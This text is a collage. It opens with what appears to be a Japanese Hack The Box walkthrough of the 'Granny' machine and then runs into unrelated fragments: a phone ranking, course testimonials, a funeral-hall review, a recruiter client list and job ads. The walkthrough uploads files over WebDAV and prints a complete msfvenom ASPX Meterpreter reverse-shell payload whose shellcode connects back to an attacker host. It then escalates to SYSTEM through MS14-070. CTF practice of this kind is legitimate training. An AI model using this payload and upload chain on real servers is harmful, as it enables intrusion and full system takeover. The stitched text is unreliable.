– Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
– http-webdav-scanよりWebDAVが有効となっている。
以下のサイトより、Microsoft IIS 6.0はWindows Server 2003に導入されている。
https://support.microsoft.com/en-us/help/224609/how-to-obtain-versions-of-internet-information-server-iis
Enumeration: 80/tcp (WEB)
WevDAV経由でアップロードもしくは実行可能なファイル拡張子に関する調査のためDAVTestでスキャンを実施。
※DAVTestについて詳しく知りたい方は、以下のリンクをご参照ください。
DAVTest tests WebDAV enabled servers by uploading test executable files, and then (optionally) uploading files which allow for command execution or other actions directly on the target. It is meant for penetration testers to quickly and easily determine if enabled DAV services are exploitable.
davtest -url http://10.10.10.15 -url: url of DAV location
root@kali:~/Desktop/htb/granny# davtest -url http://10.10.10.15 ******************************************************** Testing DAV connection OPEN SUCCEED: http://10.10.10.15 ******************************************************** NOTE Random string for this session: Fj4ZmfXGOq9 ******************************************************** Creating directory MKCOL SUCCEED: Created http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9 ******************************************************** Sending test files PUT aspx FAIL PUT cgi FAIL PUT php SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.php PUT jsp SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.jsp PUT shtml FAIL PUT asp FAIL PUT cfm SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.cfm PUT html SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.html PUT jhtml SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.jhtml PUT txt SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.txt PUT pl SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.pl ******************************************************** Checking for test file execution EXEC php FAIL EXEC jsp FAIL EXEC cfm FAIL EXEC html SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.html EXEC jhtml FAIL EXEC txt SUCCEED: http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.txt EXEC pl FAIL ********************************************************
DAVTestでアップロードされた以下の.htmlファイル「http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.html」のように、htmlファイルはアップロードかつ実行可能とのことなので試してみる。
http://10.10.10.15/DavTestDir_Fj4ZmfXGOq9/davtest_Fj4ZmfXGOq9.html
まず、DAVTestのHTTP RequestをBurp SuiteでInterceptするため、以下の設定を行う。
Burp Suite: Proxy > Options > Proxy Listeners
Proxy > Options > Proxy Listenersの設定でAddを押下し、BindingタブでBurp Suiteが待ち受けるIPを設定する。
– Bind to port -> 8081
Burp Suite: Proxy > Options > Proxy Listeners> Request handling
次にRequest handlingタブでIntercept後にForwardする宛先host/portを設定する。
– Redirect to host -> 10.10.10.15
– Redirect to host -> 80
Burp Suite: Proxy > Options > Proxy Listeners> Request handling
Burp SuiteのInterceptの準備が完了したら、http://localhost:8081に対してDAVTestスキャンを実行する。
davtest -url http://localhost:8081
Proxy > Intercept上のAction > Send to Repeaterより、InterceptしたDAVTestのHTTP RequestをRepeaterに送る。
Burp Suite: Proxy > Intercept
Proxy > Interceptにて、以下の通りにHTTP Requestの内容を書き換えた上でGoをクリック。
– HTTP Request Method -> PUT
– HTTP Request Path -> /test.html
– HTTP Request Body -> This is a test.
Burp Suite: Repeater
→ステータスコード(201 Created)となり、test.htmlを問題なくアップロード出来た。
また、レスポンスヘッダー「X-Powered-By: ASP.NET」から、拡張子「.aspx」のファイルアップロードを受け付けていることが分かる。
http://10.10.10.15/test.html
ASP(.asp)とASPX(.aspx)の違い
– 拡張子の違い:ASPは『.asp』となり、ASP.NETは『.aspx』となる。拡張子が違うことによってエンジンが変わり、共存が可能である。
– 言語の違い:ASPでは使用されていたインタプリタ言語としてのVBScriptやJscriptが廃止され、ASP.NETではコンパイル言語としての、VB.NETやC#が使われるようになった。コンパイル言語を使用した結果としてパフォーマンスが数倍向上したと言える。
http://naoki0311.hateblo.jp/entry/20050606/1118036520
Reverse Shell via File Upload
msfvenomでASPX形式のReverse Shell(Meterpreter)のペイロードを作成する。
※msfvenomについて詳しく知りたい方は、以下のリンクをご参照ください。
Metasploit Framework
Metasploit is a penetration testing platform that enables you to find, exploit, and validate vulnerabilities.
Msfvenom Tutorials for Beginners
Hello friends!! Today we will learn to create payloads from a popular tool known as Metasploit, we will explore various option available within the tool to create payloads with different extensions and techniques. Msfvenom Msfvenom is a command line instance of Metasploit that is used to generate an…
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.5 lport=4444 -f aspx -p: payload to use -f: file extension
root@kali:~/Desktop/htb/granny# msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.5 lport=4444 -f aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of aspx file: 2816 bytes       private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId); protected void Page_Load(object sender, EventArgs e) { byte[] g0rxt7qCB = new byte[341] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f, 0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b, 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58, 0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59, 0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c, 0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 0x68,0x0a,0x0a,0x0e,0x05,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0, 0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67, 0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40, 0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9, 0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01, 0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 }; IntPtr aD48XRx = VirtualAlloc(IntPtr.Zero,(UIntPtr)g0rxt7qCB.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); System.Runtime.InteropServices.Marshal.Copy(g0rxt7qCB,0,aD48XRx,g0rxt7qCB.Length); IntPtr bOJhJu = IntPtr.Zero; IntPtr zEDl2iv9a0 = CreateThread(IntPtr.Zero,UIntPtr.Zero,aD48XRx,IntPtr.Zero,0,ref bOJhJu); }
Proxy > Interceptにて、msfvenomで作成したASPX形式のReverse Shellのペイロードを以下のHTTP PUT Requestのボディーに貼り付けてGoをクリック。
– HTTP Request Method -> PUT
– HTTP Request Path -> /shell.html
– HTTP Request Body -> ASPX形式のReverse Shellのペイロード
Burp Suite: Repeater
→ステータスコード(201 Created)となり、shell.htmlを問題なくアップロード出来た。
ブラウザからhttp://10.10.10.15/shell.htmlにアクセスして、アップロード済みファイル「shell.html」を確認可能。
http://10.10.10.15/shell.html
当該ページ「shell.html」のソースを見ると、ASPX形式のReverse Shellのペイロードが確認できる。
次に以下のサイトを参考に、HTTP MOVE Requestを利用してアップロード済みのshell.htmlのファイル名をターゲット上で実行可能なASPX形式ファイル「/reverse-shell.aspx」に書き換える。
– HTTP Request Method -> MOVE
– Destination -> /reverse-shell.aspx
– Depth -> 削除
https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2003/aa142926(v%3Dexchg.65)
ステータスコード(201 Created)となり、shell.htmlからreverse-shell.aspxへのファイル名の書き換えが成功した。
Reverse Shell(Meterpreter)を受け付けるMSFのHandler「exploit/multi/handler」を攻撃端末上で起動する。
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 10.10.14.5 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit
ブラウザからhttp://reverse-shell.aspxにアクセスすることで、ASPX形式のReverse Shellのペイロードを実行させる。
http://reverse-shell.aspx
サービスアカウント「NT AUTHORITY\NETWORK SERVICE」で動作するシェル奪取に成功。
meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE
sysinfo/systeminfoより、以下のシステム情報を確認。
– OS: Microsoft(R) Windows(R) Server 2003, Standard
– Architecutre: x86
– Original Install Date: 4/12/2017, 5:07:40 PM
meterpreter > sysinfo Computer : GRANNY OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : en_US Domain : HTB Logged On Users : 2 Meterpreter : x86/windows meterpreter > shell Process 4048 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\windows\system32\inetsrv>systeminfo systeminfo Host Name: GRANNY OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition OS Version: 5.2.3790 Service Pack 2 Build 3790 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Uniprocessor Free Registered Owner: HTB Registered Organization: HTB Product ID: 69712-296-0024942-44782 Original Install Date: 4/12/2017, 5:07:40 PM System Up Time: 0 Days, 2 Hours, 33 Minutes, 12 Seconds System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1998 Mhz BIOS Version: INTEL - 6040000 Windows Directory: C:\WINDOWS System Directory: C:\WINDOWS\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, Minsk Total Physical Memory: 1,023 MB Available Physical Memory: 776 MB Page File: Max Size: 2,470 MB Page File: Available: 2,312 MB Page File: In Use: 158 MB Page File Location(s): C:\pagefile.sys Domain: HTB Logon Server: N/A Hotfix(s): 1 Hotfix(s) Installed. [01]: Q147222 Network Card(s): N/A
meterpreter上でbackgroundを実行してmsfに戻る。
meterpreter > background [*] Backgrounding session 3...
Privilege Escalation (Windows)
ターゲットに存在する権限昇格の脆弱性を探すために、MSFのModule「post/multi/recon/local_exploit_suggester」を利用する。
msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester msf post(multi/recon/local_exploit_suggester) > set session 3 session => 2 msf post(multi/recon/local_exploit_suggester) > run [*] 10.10.10.15 - Collecting local exploits for x86/windows... [*] 10.10.10.15 - 39 exploit checks are being tried... [+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated. [+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated. [+] 10.10.10.15 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated. [+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed
ここでは、上記の結果で表示されたMSFのExploit Module「exploit/windows/local/ms14_070_tcpip_ioctl」を使って権限昇格を図る。
Microsoft Security Bulletin MS14-070 – Important
Published: November 11, 2014
MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference
Rapid7′s VulnDB is curated repository of vetted computer software exploits and exploitable vulnerabilities.
msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms14_070_tcpip_ioctl msf exploit(windows/local/ms14_070_tcpip_ioctl) > set session 3 session => 2 msf exploit(windows/local/ms14_070_tcpip_ioctl) > run
システムアカウント「NT AUTHORITY\SYSTEM」で動作するシェル奪取に成功。
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
HackTheBox – Granny by IppSec
https://www.youtube.com/watch?v=ZfPVGJGkORQ
PENETRATION TEST    Hack The Box, oscp prep, pentest
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4 「ZenFone 5」「Blade Vec 4G」「Ascend G620S」どれを選ぶ?
6 5位 Covia FLEAZ F4s
16GB版が2万8944円(税込)と、格安スマホの中でも多少高めの価格設定になりますが、多機能で総合力の高い端末に仕上がっていると思います。 「ZenFone 5」の特徴として、スペックが “RAM:2GB” 搭載となります。今時の格安スマホは “RAM:1GB” が主流なため、格安スマホの中でも「高スペックな端末」といえるでしょう。
「Blede Vec 4G」は、goo SimSellerで2万2500円(税込)で販売されており、LTE対応の格安スマホの中でも安い価格設定となっています。ZenFone 5よりも機能面やRAMのスペックでは負けますが、SIMフリー端末をなるべく安く手に入れたい、コスパ重視な方にオススメ!
レビュー記事はこちら ↓
格安SIMフリー端末『ZTE Blade Vec 4G』をレビュー!メリットとデメリットはどこ?
【1位】Ascend G620S
「Ascend G620S」はLTE対応の格安スマホの中でも、価格が安めに設定されており、定価は2万3544円 (税込) となります。
SoC(CPU)は、“Snapdragon 410” と最新です。ZenFone 5やBlade Vec 4Gは “Snapdragon 400” となるので、Ascend G620Sは、格安スマホの中でも新しい世代のSoCを搭載しています。ただ、ベンチマークや動作感ではZenFone 5と比較しても、大きな差を感じません。使用していても非常に安定感があり、最新スペックにこだわる人にオススメ。
デメリットは、Bluetoothテザリングが未対応、重量は約170gと、今どきの端末にしては重たい部類の端末です。また、ストレージが8GBの端末ですが、SDカードが使えるので容量で困ることはそれほどないと思います。
また、800MHz帯 (FOMAプラスエリア) のB6には非対応です。B19は対応していますが、現状FOMAプラスエリアはB6エリアが殆どなので注意が必要です。
Huaweiにも問い合わせて確認しましたが、「B6のエリアにおいては通話/データ通信共にご利用いただけません。」との回答をもらいました。最近話題となったVAIO PhoneもB6に対応していませんが、例外的にB6をB19とみなして接続できるようです。Ascend G620Sは、例外的な仕様ではなく、繋がりません。
LTEの800MHz帯には対応しているため、800MHzエリアではデータ通信が可能であっても、通話ができない状態になる (通話はVoLTE対応端末以外は3G接続になるため) ことがあります。
なるべく安く購入したい方は、goo SimSellerのセールを待ってみると良いかもしれません。以前に1万9,500円で販売されていましたよ!
「ZenFone 5」「Blade Vec 4G」「Ascend G620S」どれを選ぶ?
「ZenFone 5」「Blade Vec 4G」「Ascend G620S」をすべて使ってみて、この3端末は格安スマホの中でも非常に出来が良いと感じます。なので「どの端末が一番良かったか?」と聞かれると非常に悩むところでもあります。
どれか一つ選ぶとすると、「好み」と「自分の使い方」で、どれが一番なのかは変わってくると感じます。それぞれの端末の特徴が異なるため、自分に合った端末を選ぶのがベストです。
なので、一概に「この端末が一番良い!」とは言えず、どの端末が良いのかは、使う人 (端末の使い方) によって変わってくると感じました。
そこで、それぞれの「特徴」と「買いポイント」をまとめてみました。
ZenFone 5のポイント!
ストレージが8GB/16GB/32GBと選べる。
UI(ユーザーインターフェイス)が使いやすい。
3G (W-CDMA) の900MHz帯に対応している。
端末のサイズが若干大きい(けど持ちやすい)。
「Blade Vec 4G」「ZenFone 5」と比較すると、定価(価格)が高い。
スペックを重視する人にはオススメ!RAM:2GBを積んでいる格安スマホは、「ZenFone 5」だけ!
Blade Vec 4Gのポイント!
コストパフォーマンスの良さは一番。
ストレージが16GB。
SDカードが使えない。
ストレージが2分割されている(3.88GBと8.55GBのストレージ)。
AnTuTu BenchmarkはZenFone 5やG620Sと比べると、若干低いスコアになる。
一番の良さは、コストパフォーマンスの良さでしょう。ストレージが16GBと大容量で、安い価格が魅力ですね。セールやキャンペーンで1万9800円(税込)で販売されていることも多く、満足度は高い!
goo SimSellerのセールで、1万9500円で販売されていることがあるので、要チェック!
Ascend G620Sのポイント!
背面カバーがレザーテクスチャー調で高級感がある。
UI(ユーザーインターフェイス)が使いやすい。
価格と性能のバランスがとても良い。
SoC(CPU)は、最新のSnapdragon 410を搭載。
ストレージが8GBのみ。
端末が約170gと少し重い。
FOMAプラスエリア B6(800MHz)に未対応。B19(800MHz)には対応している。
Bluetoothテザリングが不可。
価格と性能のバランスが良い端末!最新スペック、ちょっとした高級感を求める人におすすめ!
goo SimSellerのセールで、1万9500円で販売されていることがあるので、要チェック!
スペック重視の「ZenFone 5」
コストパフォーマンス重視の「Blade Vec 4G」
バランス型の「Ascend G620S」
と言った感じでしょうか。
個人的にも迷うのですが、わたしは評判の良い「ZenFone 5」を選択します。やはりRAMが2GB搭載されているので、他の端末よりも端末寿命が長そうです。
4位 freetel priori2
priori2は、ブラック/ホワイトが9,980円(税別)で販売されていてとてもコスパが良い端末です。LTEは未対応で、3G端末となりますが “ROM:8GB/RAM:1GB” で約1万円と、手軽に買える価格とスペックが良いのが特徴ですね!
コスパは良いのは間違いないのですが、値段なりに品質を落としている部分もあります。ただ、FLEAZ F4sなど同価格帯の端末よりもスペックが良い部分が多く、サクサク動くし液晶の品質もなかなか良い端末です。
残念な点は、タッチパネル。2点タッチ時(液晶の2箇所をタッチして操作)の反応がイマイチな感じで、地図などのズームイン、ズームアウトや方向回転で誤作動したりと精度があまり高くありません。
しかし、普段使っている時 (WEBブラウザやメールなど) では、それほど気にならず、個人的には満足度の方が高い端末です。強いて言えば、2点タッチをよく使う方は、購入する前に量販店などの実機でよく確認したほうがよいと思います。
priori2は、「通常版」と「SPパック版」があります。通常版だと9,980円(税別)で購入できるので結構オススメです!
レビュー記事はこちら ↓
freetel priori2』はスペック重視派に!1万円で買えるコスパ最強SIMフリー端末!【前編】
『freetel priori2』はスペック重視派に!1万円で買えるコスパ最強SIMフリー端末!【後編】
5位 Covia FLEAZ F4s
Amazonで、スマホのベストセラーの上位に食い込んでいるぐらい人気の「FLEAZ F4s」。4インチという小型、RAM:512MB/ROM:4GBとロースペック端末ですが、意外とサクサク動く端末です。ただ、バッテリー容量が少なく、1350mAhしか搭載していせん。実際に使ってみると、データ通信をメインで使用すると、1日電池が持たず…といったところ。
また、最新アップデートで修正されましたが、今まで通話後に液晶がスリープ状態から戻らず、電話を切りことが出来ない状況でした。なので、電話専用としても使えず..という状況でした。現在は修正済みなので、通話専用端末として (データ通信は殆ど使わない用途) でなら、かなり価値のある端末だと思います。
FLEAZ F4という4.5インチ端末もgoo SimSeller独占販売で販売開始されました。不満点は殆ど無いですが、電池持ちが気になるようであれば、FLEAZ F4を選んだほうがよいかもしれません (個人的にはpriori2ぐらいのバッテリー容量がほしかったところ) 。
LTE端末は、段々と安くてパフォーマンスの良いもの出てきそうな予感がします。また、今から3G端末を買うとしたら、約1万円で買えるpriori2がオススメです。タッチ精度が問題だと思う方は、安くなってきている3G対応の5インチ端末やFLEAZ F4sなどを検討してみてください。3G端末に約2万円払うのであれば、LTE端末を買うことを強くオススメします。
格安スマホも完成度が高い端末が多くなってきました。まだまだ、中華スマホレベルの端末もありますが、今後はキャリアから発売されているような端末と何の変わりもないものが出てくるのではないでしょうか。楽しみですね!
以上、端末選びの参考にしてみてください。
feedly 1274
カテゴリー・タグ:端末, SIMフリースマホ, SIMフリー端末ランキング, SIMフリー端末・格安スマホ・白ロムのランキング
公開日:2015/01/03 最終更新日:2015/04/09
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M . S 様 (福岡県)
5月から週1で教室をしており、かず・かたち検定試験(ゴールド)にも2人合格しました。幼児さんすうインストラクター講座を受けて本当に良かったと思っています。
H . Y 様 (東京都)
子どもにさんすう好きになって欲しいと思いながらどうやって導いてあげたらいいかわからなかったので、この講座は有難かったです。息子が3歳の今、知ることが出来、タイミングの良さに感謝します。
清水 淳 様 (栃木県)
とても楽しい講習であっという間に6回が終わってしまいました。他の受講者さんの話や例を見たり聞いたりしてとても勉強になりました。ワークショップはとても楽しかったので、もっとやりたかったという希望です。
前田 幸子 様 (京都府)
コーチングに必要なこと、大切なことをたくさん学ぶことができました。具体的な内容も数多くある中で、年少・年中・年長それぞれのカリキュラムの立て方も学びたいと思いました。どれをどの順番で指導していくと効果的なのか、などの講座も開いていただきたいです。
村田 亜希子 様 (静岡県)
全てが興味深く、深い学びを得ることができました。インストラクターの方々と知識や経験をシェアしたり、学び合える場が今後出来たらいいな、と思います。ありがとうございました!
毎週一回2時間が本当に楽しかったです。小1の息子に使えるものも多かったです。ありがとうございました。


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text:
このサイトを参考に、葬儀場を選びました。http://www.mumbaitourpackages.net/
サイトを参考にし、今回はクリスタ千葉を利用させていただきました。
おすすめ度は100%。
すべての要件を満たしています。
■駅徒歩3-4分で4つのルートが使える。
「クリスタ千葉」は、千葉県千葉市中央区新田町にあって、最寄り駅はJR千葉駅、京成千葉駅、京成千葉中央駅、それに千葉都市モノレール千葉駅と4つの駅が使えるのが便利です。
しかもいずれの駅からも徒歩3分-5分という近さなので、会葬いただく方のご負担を軽減させることができます。
大きな交差点の角地に建っている立派なビルで、見た目には葬儀場なのか一般のオフィスビルなのかわからないほどです。
2年前に父を亡くし、ご近所の方のすすめでクリスタ千葉を利用させていただきました。
■ホールが3つもあって親族控え室にも感激。
葬儀会場(ホール)が3つあり、そのほかにファミリールーム、メモリアルルーム、親族室があります。
建物の佇まいも立派ですが、内部のエントランスホールや葬儀場も広々としていて明るく、清潔感があって~。
薄くらいイメージがあったので、そのギャップにビックリしたのを覚えています。
驚いたのはそれだけではなく、親族室にジェットバスの浴室があったりマッサージチェアがセッティングされていたりと、どこかの保養所にお邪魔したのではないかと勘違いしてしまいそうな設備でした。
■当家では一般葬を行いましたが、自由葬、家族葬、1日葬など、あらゆるスタイルに対応してくれます。
スタッフの人の気働きも素晴らしいです。
参列した方々の出迎えからお見送りまで、実に優しく丁寧に接してくれ、とても感謝しています。
千葉に住んでいても、日常は葬儀場と無縁の生活をしていましたので、正直、式場のスタッフの方々がこれほどプロフェッショナルだとは思いませんでした。
千葉で社葬を行いますが、社葬にふさわしい葬儀場はありますか?
千葉で駅徒歩5分程度の葬儀場はある?家族葬を予定しています。
千葉で、駅近で交通の便がよく、見栄えのいい葬儀場は?
千葉でおすすめの火葬場付きの葬儀場はどこですか?
千葉県成田市在住ですが、おすすめの葬儀場はありますか?
オススメの千葉の葬儀場
千葉で交通の便がいい葬儀
千葉のコンパクトな葬儀場
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text:
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Mr. Richard Myerscough, Country Manager, Virgin Atlantic Airways
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陳 海峰 様, HR Director, ZTE Japan K.K.
Mr. Kwanho Park , リクルーティングディレクター , エイクエント
古川 伸也様, ディレクター, 日建設計コンストラクション・マネジメント株式会社
吉江 和幸様, 代表取締役社長, マーケム・イマージュ株式会社
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Mr. Mario Boccalero, Head of GBS, Hong Kong & PRC, LLX Global Business Services Hong Kong Ltd
浅野 正樹様, Operations Senior Manager, ドテラジャパン
Ms. Miki Utsunomiya, Office Manager, Milbank, Tweed, Hadley & McCloy
倉林 信行様, チーフ・オペレーティング・オフィサー, レッドウッド・グループ・ジャパン株式会社
糸川 雄介様, 日本支社長 , コスタ クルーズ
宮城 邦夫様, 日本担当ゼネラルマネージャー, ジュネスグローバル合同会社
久保田 耕生様, 商品管理部 部長, 株式会社アップルワールド
登島 和弘様, リーガル ダイレクター, Inventiv Health
川口 正憲様, ダイレクター, 興和株式会社
Mr. Takahiro Sato , オフィス マネジャー, DLA Piper
Daniel Saw 様, エグゼクティブ ダイレクター, Hamada Shoyu Co.,Ltd
Mr. Terry White, President and Representative Director, Neways Japan K.K.
塚村 敏生様, 顧問, クオドラント ポリペンコ ジャパン株式会社
ダニエル バーギン様, CEO, MetaBit Systems Co., Ltd.
Ms. Mayumi Aoki, Finance Controller, Embarcadero Technologies, GK
Mr. Steve Bidinger, Board Member, J. Walter Thompson Japan KK
桧垣 真理子様, 人材開発部 部長, ザ・リッツ・カールトン東京
石橋 由美様, 人事総務部 部長, ノバルティス アニマルヘルス株式会社
内田 麻里亜様, 人事マネージャー, 日本ムーグ株式会社
戸嶋 美香様, HR Officer, Moog Japan
Ms. Jenny Kahn, Sr. Global Recruiter, ProUnlimited
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スペシャライズド・グループが日々、心がけていることは、転職を考えている皆さまのお話を聞き、深く理解することです。スペシャライズド・グループが日々、心がけていることは、転職を考えている皆さまのお話を聞き、深く理解することです... More
Copyright © 2003-2013 Specialized Group K.K. All rights reserved.


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2交替、日勤 日勤: 8:15~17:00 夜勤: 16:30~翌8:30 ※夜勤は月4回~5回
託児所有り 利用料金:10,000円 /月 病児保育有り、24時間保育有り ※保育園には、8名の保育士がおり0歳~小学低学年まで対応しております。 保険 健康保険、厚生年金、雇用保険、労災保険
4週6休 日曜、祝日、4週6休 有給休暇 10日 (入職時付与) ~20日 年末年始休暇、夏期休暇、育児休暇、介護休暇、 創立記念日、誕生日休暇
一般病棟または療養病棟での看護業務 ※日勤のみの勤務も可能です
書類選考→面接→結果→入社
看護師.bizでは弊社求人で転職された方に「転職祝い金」をお支払いしています。 この祝い金はクライアントからの紹介手数料の一部を転職された方に還元する制度です。 ■正社員・契約社員・パートが対象です。 ■1万円~30万円 ※週の勤務時間数や年収により異なります。 パートの方は週の勤務時間数により異なります。 ※転職祝い金は入社後2カ月~6カ月をを超す勤務が条件となります。 紹介先により異なります。


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一般的に企業側が転職エージェントに支払う報酬は、転職者の年収の30%前後で例えば年収500万円で一人採用が決まると後日成果報酬として150万円を転職エージェントに企業が支払う仕組みです。
優良企業や大企業は黙っていても日々たくさんの人達がエントリーしてきます。
自社サイトに求人募集が出ていなくてもエントリー希望者からの問い合わせは絶えません。
企業側にとっては、年収の30%相当を別途エージェントに支払っても、マッチング率の高い求職者だけエントリーしてくれるこの仕組みはとても重宝されていて、優良企業、大企業であればあるほど転職エージェント経由でしか中途採用をしていないケースが多いのはこのためです。
また、転職エージェントを介した求人は、基本非公開求人なので、転職エージェントに登録した人だけしか知ることが出来ません。
ホワイト企業に転職したければ必ず転職エージェントを利用するべきと私が強く感じるのは、このような企業側の背景があるからなのです。
転職エージェントを利用するメリット
転職希望者にとって、転職エージェントを利用しない理由は正直言ってありません。
転職エージェントにはホワイト企業の求人がたくさんあるとお話しましたが、それだけではありません。
転職エージェントは、あなたが希望する会社に転職が実現して初めて企業側から成果報酬が貰えるので、あなたの希望にあう企業を真剣に探してくれます。
希望企業の書類選考はこうしたら通過しやすい
2職務経歴書はもっとこの部分をアピールすべきだ
一次面接ではこういうところを重視して見られている
などステップごとに注意すべき点、企業側にしっかり伝えるべき点なども転職エージェントは把握していて、良きサポーターにんあってくれるため、エージェントを介した方が内定も取りやすくなります。
内定後、どういうステップで退職交渉をしていくべきかも親身にアドバイスしてくれるので、良いエージェントとの出会いこそが、ホワイト企業転職成功の鍵になるのです。
おまけに、転職希望者が転職エージェントに支払う報酬はゼロです。
我々、転職希望者は完全無料で転職エージェントのサービスを全て利用することが出来るのです。
転職活動の始めの一歩として、まずやって欲しいのが、転職エージェントに登録して自分が興味のある求人募集があるかどうかを探すことです。
転職エージェントは転職希望者にとっての良きアドバイザーです。転職エージェントを利用した場合と利用しない場合とで結果に大きな差が出るのはこのためです。
転職エージェント選びに失敗しないためのたった1つのコツ
完全無料なら、とりあえず転職エージェントに登録してみるかと思われるかもしれませんが、転職エージェント選びにも失敗しないためのコツがあります。
これさえ知っていれば失敗したと後悔することはほぼないでしょう。
